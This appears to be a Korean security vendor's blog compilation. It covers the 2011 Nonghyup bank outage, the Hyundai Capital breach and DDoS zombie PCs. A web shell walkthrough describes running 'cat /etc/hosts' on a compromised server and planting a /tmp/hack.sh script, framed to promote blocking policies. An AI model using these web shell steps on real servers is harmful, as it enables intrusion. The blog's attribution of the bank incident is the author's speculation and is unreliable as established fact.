또한 엔지니어는 업무의 특성상 노트북은 이곳 저곳 이동하며 다른 네트워크에 붙이기도 한다. 더군다나 IBM의 엔지니어라면 수많은 정부기관과 기업에 드나들며 해당 기관의 서버에 접속을 했을텐데 그렇다면 이미 그 노트북으로 북한이 공격할 수 있는 대상 기관의 수는 무척 많을 수 밖에 없고 실제로 공격이나 데이터유출이 이미 수십곳에서 발생했을 가능성도 배제할 수 없다. 하지만 IBM엔지니어가 다녔을 그 어느곳도 농협과 같은 보안사고가 발생한 곳은 없다.

검찰의 농협 보안사고 수사 결과는 한마디로 추리소설같은 이야기일 수 밖에 없다. 그리고 입과 입을 통해 들려오는 소문들은 검찰의 수사 결과를 더욱 신뢰할 수 없게 만든다.

그저 소문일 뿐이지만 그렇게 긴 시간동안 조사를 했음에도 서버에서 파일을 삭제한 명령이 rm과 dd 명령이라는 것과 IBM직원의 노트북에서 서버에 접속하여 공격명령이 내려졌다는 것 이외에는 신뢰할 만한 사실이 아무것도 없다는 이야기나 IBM에서 만약 IBM의 소행이라고 결론이 내려질 경우 IBM이 한국에서 완전 철수(아마도 기술지원 완전 중단)할 수도 있다고 검찰을 "협박"했다는 이야기는 이번 농협의 보안사고에 대해 검찰이 얼마나 알아낸 사실이 없는지를 단적으로 증명해주는 이야기가 아닐까 한다.


외부에서 왜 농협서버의 해킹이 불가능에 가까운가?

많은 사람들이 잘 모르고 있는 부분중 하나가 바로 왜 인터넷을 통해 외부에서 농협서버의 해킹이 어려운가 하는 점이다.

외부에서 내부의 서버에 침투하지 못하게 하는 가장 쉬운 방법은 네트워크 망을 내부와 외부로 분리하는 것이다. 네트워크에 기계적으로 연결되어 있는 컴퓨터(PC 혹은 서버 모두)는 IP주소라고 하는 일련의 번호가 붙어 있다. (예를 들면 210.123.89.77 과 같이) 이 번호를 알면 세계 어디어 있는 컴퓨터도 찾아갈 수 있도록 인터넷이 설계되어 있다. 즉 인터넷에 접속되어 있는 하나의 PC나 서버는 세계에서 유일한 IP주소를 갖게 되는 것이다. 그리고 자신의 IP주소를 DNS서버라는 주소관리서버에 등록하게 되어 있다. 이것이 인터넷의 "법"이다. 그리고 국가나 지역에 따라 부여되는 IP주소의 범위는 미리 약속되어 있다. 때문에 IP주소만 봐도 어느나라에 있는 서버인지를 식별할 수 있는 것이다.

하지만 이러한 "법"을 무시하고 남들에게 내 PC와 내 서버의 주소를 알려주지 않을 수 있고 주소 또한 내 맘대로 사용할 수 있다. 이러한 것을 사설IP라고 한다. 즉 사설IP를 써서 외부에서 내부의 서버에 물리적으로 접근하지 못하도록 할 수 있는 것이다. 그리고 금융기관과 정부기관은 모두 사설IP를 사용하도록 되어 있다.

그리고 농협도 당연히 사설IP를 사용할 것이다. 만약 농협의 주요 서버에 공인IP를 사용했다면? 만약 그랬다면, "미쳤다"는 소리를 들어도 싸다. 물론, 그럴리는 없다고 믿는다. 왜냐하면 공인IP가 부여되었을 경우의 보안상 위험하다는 것은 전산인들에게는 매우 기본적인 상식이고 금융기관에서 주요 서버에 공인IP를 부여하는 것을 난 본적이 없기 때문이다.

결론....

이번 농협사고는 북한 뿐만 아니라 농협 외부의 누군가가 악의적으로 서버를 해킹했을 가능성은 "0" 제로에 가깝다고 본다. 분명 내부자 혹은 내부에 출입이 자유로운 외부자가 농협 전산망에 직접 들어가 오랫동안의 준비를 거쳐 자행한 사고일 가능성이 90% 이상이라고 본다.

결국 농협의 내부통제의 부실로 인해 발생한 사고이고 또한 소문대로 인적자원의 관리상의 문제로 인해 농협에 매우 심각한 수준의 반감을 갖고 있는 IT전문가에 의한 소행일 가능성이 무척 높다.

만약 북한의 소행이라고 할만한 증거가 DDOS 공격때 사용했던 IP가 노트북에 접속을 "시도"한 것이 전부라면 검찰은 전국민을 우롱하고 있는 것이다.

북한소행이라고 할만한 증거가 있다면 검찰은 "어떻게 IBM 엔지니어의 노트북을 통해 농협 서버의 내부 IP주소와 서버의 접속 패스워드를 알아 냈는가?"에 대한 증거를 제시해야 한다.
 


  • 하모니 2011.05.11 13:57

    제목을 잘못 다신듯.. 농협전산망 마비는 외부해킹이 아닌 내부소행이라고 하셨어야 합니다. 외부해킹이면 북한이든 중국이든 대한민국 국민이든 누구든 범인이 될 수 있지만, 외부해킹이 불가능하다면 범인은 내부소행일수 밖에 없으니깐요...

    • taeho Tae-Ho 2011.05.11 16:43 신고

      잘 아실것 같은데...
      대부분의 금융사 서버의 root 계정은 직접 로그인이 불가능합니다. 즉 다른 일반계정으로 로그인하여 root로 su 명령을 수행하고 root 패스워드를 입력해야만 root 권한을 얻을 수 있습니다.
      즉... 일반계정과 패스워드, 그리고 root의 패스워드를 모두 알아야만 이번 공격을 수행할 수 있습니다.
      과연 외부에서 좀비 노트북을 하나 확보했다고 해서 두개 계정의 ID와 패스워드를 그것도 270대의 서버에 대해 알아내는 것이 현실적으로 가능하다고 보시는지요...
      거의 불가능에 가깝죠. 그래서 북한이 외부에서 저지른 해킹으로 보기는 어렵다고 보는 것이지요.. 그랬다면.. 전세계의 모든 서버는 북한의 손아귀에 있다고 보는게 맞습니다..
      상상할 수 없는 일이지요... ^^

  • 하모니 2011.05.11 14:01

    추가로 농협서버가 사설IP를 쓰며 외부와 단절되어 있기 때문에 외부해킹이 불가능하다는 논리는 잘못됐습니다. 검찰의 발표는 해킹을 한 주체는 농협서버와 연결된 IBM직원의 PC였습니다. 해킹자체는 외부에서 한게 아니라 농협서버와 연결된 내부에서 이루어진 것입니다. 물론 IBM직원의 PC는 외부에서 해킹당해 좀비PC된 것입니다.

    • taeho Tae-Ho 2011.05.11 16:40 신고

      맞습니다. 불가능하지는 않지요.. 하지만 그 가능성은 거의 없지요. 90%불가능하고 10% 가능하다면 어느것이 더 현실성이 있을까요? 그리고 만약 IBM 엔지니어의 노트북이 해킹당해 좀비노트북이 될수는 있겠으나 만약 그랬다면 이미 IBM엔지니어가 드나드는 여러 기관의 서버들도 해킹당했을 가능성이 큽니다만 그렇지 않은 것으로 보면 IBM직원 노트북을 통해 북한이 농협만을 공격했을 가능성은 더 낮아집니다.
      그렇다면 IBM 직원 노트북을 악용한 내부자의 소행인지 북한의 소행인지는 더 명확해집니다. 그리고 IBM 엔지니어의 노트북이 좀비가 되었다는 증거도 너무 부실하죠.


또한 번의 보안사고가 전산업계를 뒤흔들고 있다. 하지만 이전의 보안사고들과는 달리 외부(인터넷을 통해)에서 침입하여 현대캐피탈 고객 42만명의 개인정보는 물론 일부 금융정보까지 빼내어간 완벽(?)한 해킹사고라는 점에서 충격의 여파는 상당히 크고 오래 지속될 것으로 보인다. 비록 1금융권이 아닌 대출전문 캐피탈 업체이긴 하지만 업계 1위의 업체인데다가 "현대그룹" 이라는 간판으로 인해 1금융권도 보안에 취약한 것이 아니냐는 우려마저 나오고 있다.

= 대캐피탈 해킹사건의 전말. (이데일리 기사 발췌)=

◇ 해킹 피해 `42만명+α`..신용정보도 새나가

현대캐피탈 고객정보보호를 담당하는 황유노 부사장은 10일 서울 여의도 본사에서 열린 기자회견에서 "해킹 당한 고객 정보가 더 있을 수 있다고 판단하고 있다"고 말했다.
42만명과 프라임론 피해고객이 중복되기 때문에 현재까지 피해고객 총수는 파악하기 어려운 상태다.

현재까지 유출된 고객정보는 기본 정보 이외에 금융 정보가 포함돼 금융사고 피해가 우려되는 상황. 이름, 주소, 전화번호, 이메일, 주민등록번호, 신용등급, 신용대출 `프라임론` 패스카드의 번호와 비밀번호 등이 해킹당했다.

황 부사장은 "프라임론 패스카드 정보는 현대캐피탈과 거래 외에 활용할 수 없다"며 "신용등급 자체도 금전적 손해를 끼칠 가능성이 낮다"고 설명했다.

현대캐피탈은 2차 피해를 막기 위해 고객에게 "전화로 개인정보, 홈페이지 ID, 패스워드 등을 요구할 때 각별히 주의하라"며 "11일부터 프라임론 패스카드를 재발급받고, 홈페이지 비밀번호도 바꿀 필요가 있다"고 당부했다.

또 자동응답시스템(ARS) 거래를 막고, 거래 계좌를 변경하는 고객에게 고객 휴대폰으로 다시 전화해 본인 확인 절차를 강화했다.


◇ 2개월간 해킹 당한지도 몰라..정태영 사장 "수치스러워"

현대캐피탈이 해킹 사실을 두달간 인지하지 못했다는 점에서 문제의 심각성이 크다는 지적이다. 현대캐피탈 고객정보가 해킹당한 것은 지난 2월부터 조금씩 이루어진 것으로 현대캐피탈은 지난 7일 오전 9시 해커의 협박 이메일이 있을 때까지 모르고 있었다. 현대캐피탈 보안시스템에 큰 구멍이 뚫렸던 셈이다.

현대캐피탈은 지난 7일부터 서울지방경찰청 사이버범죄수사대에 해킹수사를 의뢰해 범인 검거를 위해 총력을 기울이고 있지만 현재까지 정확한 피해 규모와 범인의 소재를 파악하지 못한 상태다. 금융감독원은 오는 11일 정보기술(IT) 전문가로 대책반을 구성해 현대캐피탈 특별검사에 나서기로 했다.

정태영 현대캐피탈 사장은 이날 "개인적으로 죄송스럽고 수치스럽다"며 "현재까지 직접적이고 금전적 피해는 없고 고객 피해를 파악하는데 모든 역량을 집중하고 있다"고 사과했다. 또 "지금은 사태 전모를 확실히 아는 것이 중요하다고 생각한다"며 "책임질 일이 있으면 책임지겠다"고 강조했다.

캐피탈업계에선 1위업체인 현대캐피탈이 해킹당했다는 사실이 알려지자 긴장하는 분위기다. 한 캐피탈사 관계자는 "현대캐피탈이 당할 정도면 다른 캐피탈사도 안전할 수 없다"고 우려를 표명했다.

현대캐피탈 신용정보도 유출..`최악의 해킹사고`(종합)

2011/04/10 19:26:47 이데일리


=========================================================================================

최근 주로 발생되는 DDOS 공격은 단순히 공객 대상이 되는 업체의 일부 서버가 서비스를 수행하지 못하도록 비정상적인 과도한 트래픽을 유발시키는 해킹기업이다. 따라서 개인정보 혹은 기타 공공 및 기업의 기밀에 해당되는 정보 유출은 없다.

또한 과거 발생했던 GS칼텍스 등에서 발생했던 대량의 고객정보 유출은 외부에서의 해킹이 아닌 내부자가 연관되어 발생된 "내부 보안 사고"의 성격이 강했다.

하지만 과거 옥션의 개인정보 유출과 이번 현대캐피탈 고객정보 및 금융정보 해킹사건은 내부자가 아닌 외부자가 인터넷을 통해 내부 시스템에 침입한 완벽한(?) 해킹으로 인해 발생한 보안사고이기 때문에 그 심각성은 다른 보안사고와는 차원이 다른 수준이다.


현대캐피탈의 내부통제 수준

몇차례 현대캐피탈의 IT 부서에 방문하여 업무협의와 PT, Demo 등을 진행한 경험이 있다. 공교롭게도 현대캐피탈에서 해킹이 발생했다고 공개한 날짜와 비슷한 시기였다. 결국 담당자가 선호하는 외산 SecureOS를 도입하는 것으로 결정이 되었다는 안타까운(?) 소식을 접하긴 했지만 그 과정에서 경험한  현대캐피탈의 내부통제 시스템은 듣던대로 비교적 잘 갖추어져 있고 적용도 잘되어 있는 듯 했다. 또한 필요한 네트워크 보안 시스템 즉, 방화벽, IPS 등도 운영중이었다.


문제는 서버 및 애플리케이션 보안

이번 해킹사고는 완벽할 것이라고 믿는 네트워크 보안시스템의 한계를 잘 드러낸 사건이다. 방화벽, IPS 그리고 클라이언트와 서버간의 통신 암호화로 대변되는 네트워크 보안이 결코 시스템을 해킹으로부터 완벽하게 보호해줄 수 없다는 일반적인 상식(?)을 증명해준 해킹사건이다.

과거 해커들은 시스템의 취약점을 데이터의 이동 통로인 네트워크서 찾는 경향이 있었지만 최근에는서 서버에서 데이터를 관리하는 애플리케이션에서 찾는 경향이 두드러지게 나타나고 있다. 특히 이번 해킹사건에서 보듯 인터넷에 공개되어 있는 웹서버는 해커들의 주요 공격대상이 되고 있다.

해커들은 집요하게 웹서버를 공격하려 취약성을 찾는다. 이 취약성의 대부분은 웹서버에서 구동되는 서버사이드스크립트인 JSP(Java Server Page) 및 서블릿이 갖고 있게 된다. 결국 웹 응용프로그램 개발자의 보안 수준에 따라 취약성이 많은 시스템을 개발하느냐 아니면 취약성이 거의 없는 시스템을 개발하느냐가 결정되어 진다.



또한 취약성이 발견되어 해커가 해당 취약성을 공격하였을 때 해커가 얻게되는 최초의 서버 접근권한을 운영체제 차원에서 제대로 통제하느냐에 따라 해킹의 성공여부가 판가름 난다. 만약 운영체제 차원에서 적절한 통제를 수행하지 못한다면 해커는 해당 시스템을 장악할 수 있는 발판을 마련하게되고 그때부터 시스템은 해커의 공격에 무방비 상태로 노출되는 것이다. (네트워크 보안 시스템으로는 통제하기 어려움)

해커가 취약성에 대한 공격으로 서버 접근 권한을 얻게 되면 그때부터 원격지에서 서버에 존재하는 수많은 파일을 뒤져 자기가 원하는 추가적인 정보를 얻을 수도 있다. 이때부터 주요 정보의 유출은 시간문제가 된다. 운이 좋다면 root의 패스워드 혹은 다른 서버에 관리자 권한으로 접근할 수 있는 계정정보가 하드코딩된 스크립트를 얻을 수도 있을 것이다.

현대캐피탈의 해킹은 지금까지 설명한 과정을 거쳐 이루어졌을 것으로 보인다. 이러한 과정은 전형적인 웹서버 해킹의 과정일 뿐이다.


또다른 문제... 서버 감사시스템의 부재

많은 금융사에서 고객의 계좌정보를 메인프레임에서 Unix 서버로 다운사이징하여 운영하고 있다. 그리고 계좌정보의 일부가 서비스의 성능을 높이기 위해 기간계 서버에서 각기 다른 Unix 및 Windows 서비스 시스템으로 (예를 들면 이번 해킹사고가 발생한 프라임론 시스템) 분산되어 저장된다.

하지만 Unix 나 Windows 모두 보안에 취약한 운영체제다. 외부로 부터 침입한 해커든, 내부자이든, 아니면 기술지원을 나온 외부의 엔지니어든 서버에 접근하여 무엇을 하는지 통제하고 감사기록을 남길 수 있는 솔루션을 운영체제 자체적으로 제공해주지 않는다.

사실 이번 해킹의 경우도 정확하게 어떤 정보가 유출되었는지 확실치 않다. 또한 해커가 어떤 백도어를 숨겨두었는지 찾아낼 방법도 없다. 아니면 해킹당했다는 프라임론 시스템외에 같은 네트워크내에 있는 다른 어떤 서버가 또 해킹을 당했는지 확인할 완벽한 방법이 없다. 확인할 수 있는 것은 외부의 어떤 IP에서 접근했는지와 다른 서버로 Telnet, FTP, rlogin 같은 단순한 방법으로 로그온을 시도했는지와 그 로그인의 성공여부 정도 뿐이다.

해커가 서버에서 어떤 파일을 열어보았는지, 어떤 명령어를 수행했는지, 어떤 파일을 만들었는지와 같은 구체적인 활동정보는 어디에도 기록되어 있지 않을 것이다. 보안사고 및 침해행위를 감사할 수 있는 기능을 제공하는 솔루션은 현재로서는 SecureOS를 이용하여 감사정책을 적용하는 것이 최선의 방법이나 현대캐피탈에는 아직 적용되어 있지 않은 듯 하다.


= 서버 보안의 강화가 필요한 시점

많은 공공기관과 금융기관 그리고 일반 기업체에서 SecureOS 를 도입하고도 제대로 활용하지 못하는 경우가 많다. 네트워크 보안과는 달리 서버 운영체제, 네트워크, 시스템소프트웨어, 웹응용프로그램에 대한 지식을 비롯한 다양한 경험과 지식을 필요로 하는 것이 바로 SecureOS 제품이다.

하지만 국내의 엔지니어에 대한 정서(?)상 그렇게 다양하고 풍부한 경험과 지식을 갖춘 엔지니어를 찾기는 어렵다. 기술자를 경시하는 풍조가 IT 업계에도 만연되어 있어 엔지니어가 오랫동안 다양한 분야에서 경험과 지식을 쌓기란  무척 어렵기 때문이다. 그리고 그러한 이유에서 제대로 서버보안S/W(SecureOS)를 운영할만한 엔지니어를 찾기란 쉽지 않다.

하지만 주요 데이터가 보관되고 서비스되는 서버의 보안을 서버 내부가 아닌 서버 외부의 네트워크 보안 시스템에게 맞기는 것은 사람이 오리털 파카를 입고 있으면서 그 속에는 홀라당~~ 벗고 있는 것과 크게 다를 바가 없다.

서버와 애플리케이션 보안의 강화....
그것만이 보안이 취약한 Unix/Linux/Windows 서버의 해킹을 막을 수 있는 유일한 해결책이다.


결론부터 말하자면 "끊임없이 다시 발생한다" 이다.

엊그제 발생한 대대적인 DDOS 공격... 아니나 다를까 또 백신타령이다. 역시나 좀비PC가 된 불특정 다수의 죄없는 일반인들이 해커 대접(?)을 받고 있다. 그나마 이번엔 좀비PC를 양산(?)한 중간 감염 사이트가 운좋게 밝혀졌다.

인터넷 다운로드 사이트인 쉐어박스와 수퍼다운이 해킹되어 이 두 사이트에 접근한 사용자들의 PC에 공격도구를 감염시켰다고 한다.


이전의 국가적인 DDOS 공격이 있었을 때도 분명 이렇게 매개체가 되는 웹사이트가 무척 많았을 것이다. 이번 공격에도 어쩌면 더 많은 웹사이트가 해킹되어 더 많은 PC를 좀비PC로 만들었을 지도 모른다. 다만 밝혀진 웹사이트가 2곳일 뿐일지도 모른다.

이제는 더이상은 많은 피해자(좀비PC의주인들)를에게 주의의 의무만을 지우지 않았으면 한다.

공공의 서비스를 위해 그리고 돈을 벌기 위해 운용중인 수 많은 보안에 취약한 웹서버에 소스위변조 차단을 위해 서버보안 S/W 혹은 위변조 모니터링 솔루션, 홈페이지 위변조 차단 솔루션 등의 설치를 의무화할 필요가 있다고 본다. 대부분의 기업과 공공기관의 PC에 백신설치는 의무화되다시피 했다. 또한 방화벽과 IPS도 거의 의무적으로 도입되다시피 했다. 그럼에도 불구하고 이러한 네트워크 기반의 보안솔루션으로는 홈페이지의 위변조를 차단하지는 못한다. 이제는 서버 내부에서 홈페이지의 보안을 더욱 강화할 필요가 있다.

홈페이지 위변조를 통해 발생하는 해킹의 피해는 이번 DDOS 공격 사건에서 보듯 심각한 수준이다. 더 이상 지체할 수 없는 상황이라는 것을 하루빨리 인지하면 좋겠다.

DDOS공격을 수행하는 좀비PC는 그냥 생기는 것이 아니다. 좀비PC가 왜 생기는지... 어떤 경로로 정상적인 PC가 좀비PC로 변신(?)하는지을 이해해야 한다.


위의 그림의 (1)과 같이 "보안에 취약한 웹사이트"의 홈페이지 소스를 위/변조하여 악성코드를 직접 심어놓거나 타 사이트에 올려져 있는 악성코드를 다운로드 받는 코드를 삽입한다.

그리고 (2)와 같이 보안에 취약한 PC가 해당 웹사이트에 접근하면 악성코드가 PC에 설치되어 좀비PC가 된다.

일단 좀비PC가 되면 (3)과 같이 공격자(해커)의 명령에 따라 (4)와 같이 DDOS 공격을 수행하게 된다.
하지만 해커가 자신의 IP를 직접 노출해가면서 (3) 처럼 직접 공격하는 경우는 드물다. 해커와 좀비PC사이에는 또하나의 명령서버(Command Server)가 존재하는 경우가 대부분이다. (이 그림에서는 생략되어 있다.)

그렇다면 가장 효과적으로 DDOS 공격을 방어하는 방법은 무엇일까..??
지금까지는 (4)번의 DDOS 공격을 막는데 주력하고 있다. 그래서 DDOS 공격이 시작되면 대한민국 국민에게 사용하는 PC에 백신을 설치하라고 방송을 통해서까지 호소하고있다. 과연 이것이 효과적인 대응인지를 곰곰히 생각해볼 필요가 있다.

일단 (1)의 공격이 성공하면 그 이후에는 DDOS공격이 발생하는 것은 시간문제다. 그리고 어느 PC가 좀비PC인지 식별하는 것도 사실상 불가능하다. 국민전체를 믿고 기다리는 것밖에는 할일이 없는 것이다. 너무도 소극적인 대응이 아닌가 ?

가장 효과적인 방법은 바로 (1)을 차단하는 것이다. 웹사이트를 개발하고 운영하는 이들은 누구인가? 바로 영리목적의 기업이거나 공공기관이다. 웹사이트의 보안을 강화하고 해킹을 차단할 능력이 충분히 있다. 다만 비용과 신속한 개발과 빠른 서비스 시작에 목매어 보안을 등한시하고 있을 뿐이다.

(1)의 공격을 막기위해 보안을 강화해야만 효과적으로 DDOS 공격을 차단할 수 있다.



웹쉘....

지난번 포스팅에 올린 글을 보고 몇몇 분들이 문의를 해왔다. 그리고... 끝이다.
관심은 있으나 어떻게 해야하는지..무얼 해야하는지.. 과연 비용을 지불하고도 해야할만한 가치가 있는 것인지... 보안에 비용을 지불하는 것이 아깝기도 하고... 온통 의문 투성이이기 때문에 결국 접고 만다.

필수가 아닌 선택이며 선택 중에서도 저~어~기~ 바닥에 깔려 잘 보이지도 않는 선택사항이다.
대한민국에서 보안은 그런 것으로 치부되는 것이 현실이다.

그리고 그것은 다름 아닌 바로 우리 모두의 책임이다.

출처 : http://www.etnews.co.kr/news/detail.html?id=201005090139


연관 포스트 보기 : 웹쉘 방어 방법,  홈페이지 소스 변조 방어 방법



관련 포스트 : 웹서버 소스파일 위변조 차단을 위한 SecureOS 적용

웹쉘(web-shell)은 서버를 해킹하는 가장 훌륭한 도구 중에 하나다. 웹서버에 웹쉘을 업로드 하고 웹브라우저를 통해 웹쉘을 호출할 수 있다면 해커는 그 서버를 마음대로 조종할 수 있는 권한을 90%쯤 갖게 된다고 볼 수 있다.

많은 서버관리자와 보안관리자들이 웹쉘이 업로드된 서버를 발견하게 된다면... 눈 앞이 캄캄해질 것이다. 웹쉘이 발견되었는데도 눈앞이 캄캄해지지 않는 관리자라면 둘중하나다. 확실한 웹쉘 실행 차단 대책이 이미 적용되어 있는 훌륭한 관리자이거나 웹쉘이 뭔지도 모르는 초보 관리자 둘 중 하나다. 둘다 아니라면..?? 거기까진 말하고 싶지 않다.

먼저 웹쉘의 동작 과정을 시연 화면을 통해 살펴본다.

이 화면은 웹서버에 업로드된 "초 간단" 웹쉘이다. PHP로 작성된 10줄 남짓의 이 웹쉘은 비록 화면은 인터넷에 떠도는 많은 웹쉘에 비해 단순하지만 그 어떤 IPS나 웹 방화벽에 적발되지 않고 실행가능한 "강력한" 웹쉘일 것이다.


웹쉘이 하는 일은 아주 간단하다. 위의 화면과 같이 입력창을 통해 명령어를 입력받아 웹서버를 통해 실행하고 그 결과의 출력화면을 브라우저에 표시해주는 것이다.

웹쉘이 실행할 수 있는 것은 무척 많다. 그래서 웹쉘이 실행할 수 없는 것을 이야기하는 것이 더 빠를 것이다. 웹쉘이 실행하지 못하는 것은 "웹서버가 실행중인 계정이 실행 권한을 갖고 있지 않은 실행파일 및 스크립트"이다. 그 이외에는 모두 실행이 가능하다.

위의 화면에서와 같이 "cat /etc/hosts" 명령을 입력하고 실행하면 다음과 같이 그 결과가 브라우저에 표시된다.


웹쉘은 단순히 명령어 만을 실행하고 그 결과를 보여주는 것만 가능할까?

아니다. 웹쉘의 활용은 거의 무궁무진하다. telnet으로 서버에 들어간 것과 같이 스크립트를 만들고 실행시키는 것도 가능하다. 다만 웹서버가 구동중인 계정의 권한만을 갖기 때문에 파일을 만들고 실행하기 위해서는 웹서버가 실행중인 계정이 쓰기,실행(w,x)을 갖고 있는 디렉토리를 찾아야 한다. 

하지만 해커들이 누군가? 아무도 알려주지 않아도 해커들은 /tmp와 /var/tmp가 trwxrwxrwx 퍼미션으로 되어 있다는 것을 알고 있다.

다음과 같이 /tmp 디렉토리에 hack.sh 스크립트를 만든다. 첫번째 줄이다.


 다음은 두번째 줄이다.


두줄이 들어간 hack.sh 스크립트의 내용을 확인해보자.


ps와 netstat 두줄이 들어간 hack.sh 스크립트가 생성되어 있다. 서버의 umask 설정에 따라 실행퍼미션이 없을 수 있는데 chmod +x 명령으로 실행퍼미션을 부여해주면 된다. 보안 때문에 반드시 설정해야한다는 umask 설정이 무용지물이 되는 이유다.

이 hack.sh를 실행하면 스크립트에 포함된 두개의 명령이 차례대로 실행된다.


/tmp/hack.sh 스크립트가 실행된 것을 확인할 수 있다.
 
웹쉘은 실행파일은 물론 쉘스크립트, 그리고 Perl 스크립트도 실행이 가능하다. 인터넷을 조금만 검색하면 icmp, udp, tcp의 보안 취약성을 이용한 DOS, DDOS 공력용 Perl스크립트를 비롯한 다양한 공격 도구들을 쉽게 구할 수 있다.
또한 자동 ftp 스크립를 만들어 웹쉘로 작성한 뒤 실행하면 외부의 서버로 ftp 접속을 하여 파일을 다운로드 받는 것도 가능하다.

웹쉘로 못할 것이 없는 것이다.

그렇다면 웹쉘을 차단하는 근본적인 방법은 없는 것일까?? IPS와 웹방화벽은 현실적으로 웹쉘을 효과적으로 차단하지는 못한다. 현실적인 여러가지 이유와 오탐의 위험때문에 패킷스니핑방식의 보안솔루션으로는 웹쉘을 차단하는 것은 불가능하다.

하지만 서버보안S/W인 RedCastle을 이용하여 아주 간단한 두개의 정책만 추가해주면 웹쉘의 실행을 완벽하게 차단할 수 있다.

RedCastle이 제공하는 파일접근통제정책에 다음과 같은 정책을 추가해주면 된다.

1. 운영체제의 모든 명령어들을 웹서버 (httpd 및 java 등)을 통해 실행하지 못하도록 한다.
2. /tmp 및 /var/tmp 디렉토리에서 웹서버가 스크립트 및 실행파일을 실행하지 못하도록 한다.
3. 웹서버의 업로드 경로에서 아무도 실행권한을 사용하지 못하도록 한다.

RedCastle SecureOS를 통한 정책의 추가는 아주~~쉽고 그 효과는 100% 확실하다.



  • 질문좀요.. 2010.03.28 13:17

    레드캐슬 저건 어디서 구할수있나요?

  • mizz 2010.04.12 03:13

    저 웹쉘 소스 좀 알 수 있을까요 ㅠㅠ

    mizzzzzz@naver,com 으로 보내주시면 진짜 감사하겠습니다 ㅜㅠㅜ

    • 주인장 2010.04.13 23:33

      더 성능좋은 웹쉘은 인터넷을 조금만 검색해보면 많이 찾을 수 있습니다.
      한번 검색해보세요~

  • proxyolism 2010.08.16 00:21

    퍼갈께요 ^^ 웹해킹공부하고있는데 자료 찾고있었습니다 ㅎㅎ 도움많이됬어요.

  • colroni 2010.08.24 19:10

    웹쉘을 막을려고 하는데 어떻게 설정을 해야하고 웹쉘파일을 찾는 방법도 알려주시면 감사하겠습니다.
    급합니다. colroni@naver.com

    • 주인장 2010.08.25 07:30

      서버보안 S/W가 없는 상태에서 웹쉘의 실행을 차단하는 것은 현실적으로 불가능합니다. IPS나 웹방화벽에서 알려진 웹쉘의 패턴을 인식하여 차단하는 것은 가능할지 모르지만 작정하고 덤비는 해커들이 알려진 웹쉘을 그저 사용만 할 가능성은 별로 없습니다.
      서버보안 S/W 없이 웹쉘을 막기 위해서는 "웹쉘의 업로드"를 차단하는 것이 가장 좋은 방법입니다. 어느 경로에 웹쉘이 생성되는 지를 확인하시고 웹 소스를 분석하여 어떤 취약성을 이용하여 웹쉘을 업로드 하는지를 빨리 찾아내는 것이 좋습니다. 찾아내셨다면 그 취약성을 제거하도록 웹 소스를 수정하셔야 합니다.

  • colroni 2010.08.25 10:37

    발단은 특정페이지 맨 끝단에 자바스크립트가 삽입이 되어있었습니다.
    그래서 ftp log를 살펴보아도 딱히 어떤 파일을 업로드한 흔적이 없습니다.
    어떻게 이런일이 가능한지..이게 자바스크립트 해킹인가요?
    막을 수 있는 방법이 없을까요?

    • 주인장 2010.08.25 21:23

      FTP 이외에도 여러가지 방법으로 홈페이지를 변조할 수 있습니다. 그리고 웹 소스와 플래시, 어도비 모듈 등을 사용하는 웹사이트에 존재하는 모든 취약성을 제거하는 것도 결코 만만한 작업은 아닙니다. 개발자가 취약성을 한개도 없이 웹사이트를 만드는 것은 거의 불가능한 현실이니까요.
      SQL인젝션, PHP인젝션 취약성 제거 그리고 웹서버의 설정, 계정 비밀번호 변경 등 원론적인 대책밖에는 없는 것이 현실입니다.
      SecureOS를 도입하지 않는다면 개발자와 관리자의 노력에 의존해 해커와 싸우는 방법 밖에는 없습니다.

  • 0000 2012.12.30 22:54

    제 서버에서 돌려보니 웹쉘이 업로드는 되고
    클릭을 하니깐 다운로드를 하라고 뜨는데 이런경우는 공격이안되는건가요?

  • Antares 2012.12.31 12:28

    어떻게 올리셨는지..서버는 어떤 서버인지 자세한 정보를 모르니 정확한 답변은 어렵지만..
    웹쉘 파일의 확장자를 뭘로하셨는지..그리고 "클릭"을 어떤 환경에서 하신건지에 따라 가능할 수도 불가능할 수도 있습니다.



시간 참 빠르게 흘러간다.  7.7 대란 (DDOS공격)이 있었던 지도 벌써 4개월이 지났다.  “DDOS 공격이란 용어가 일반인들 사이에서 이제 점점 잊혀져 가고 있을 그런 시간이 되었다. 그런데 조금 전 웹서핑을 하다가 아직도 DDOS 공격이 계속되고 있다는 기사를 보게 되었다.

제목이 무척이나 비장하게 느껴지는 건 아마도 내가 관련업종에서 일하고 있기 때문이리라..

“DDoS 공격 아직 끝나지 않았다’”

 

그렇다. DDoS 공격은 7.7 이전에도 계속 있어왔고 그 이후에도 계속 있었으며 앞으로도 영원히 계속될 것이다.

 

그 이유는 무었일까…?

 

많은 사람들이 DDoS 공격을 막아야 한다는 데에는 모두 공감한다. 하지만 어떻게 막아야 하는가에 대해서는 의견이 분분하다. DDoS 공격을 차단하기 위해 이러쿵 저러쿵 많은 의견들이 있지만 몇 가지로 요약해보면 다음과 같다.

 

먼저 전국의 모든 PC에 백신을 설치해야 한다는 주장으로 이는 책임 전가형이다.

 

수 만대 이상으로 예상되는 공격도구에 감염된 좀비PC”를 없애야 하므로 백신을 모두 설치해서 공격도구에 감염되지 않도록 해야 한다는 주장이다. 심지어 인터넷에 접속하기 위해서는 의무적으로 PC에 백신을 설치해야만 하도록 해야 한다는 공산주의 혹은 전체주의적 발상까지도 서슴지 않는 부류다. 그러나 이 방법은 해커들이 지속적으로 새로운 공격도구나 변형된 공격도구를 만들어내기 때문에 별 실효성이 없는 방안이다. 그리고 일반 사용자들에게 어떻게 백신을 의무적으로 설치하도록 할 수 있겠는가? 그저 적극적인 홍보를 통해 공격도구 감염을 최소화하기 위한 방안일 뿐이다. 이 방안은 전국민을 해커로 몰아세우는 책임전가일 뿐이다.

 

다음으로는 DDoS 공격을 막기 위한 DDoS 차단 솔루션을 도입해야 한다는 주장으로 이는 너무 소극적인 방법이다.

 

DDoS 공격 차단 솔루션들은 아직 제대로 검증되지 못했으며 당장은 효과를 볼 수 있다 하더라도 머지않아 창의적인 해커들의 새로운 DDoS 기법이 출현할 것이 뻔하기 때문에 그리 효율적이지 못한 방법이다. TCP/IP 프로토콜의 소스와 구조가 완전하게 개방되어 있는 상황이기 때문에 네트워크 기반의 DDoS 차단 솔루션을 우회하거나 속이는 방법이 머지않아 출현할 가능성이 높기 때문이다.

 

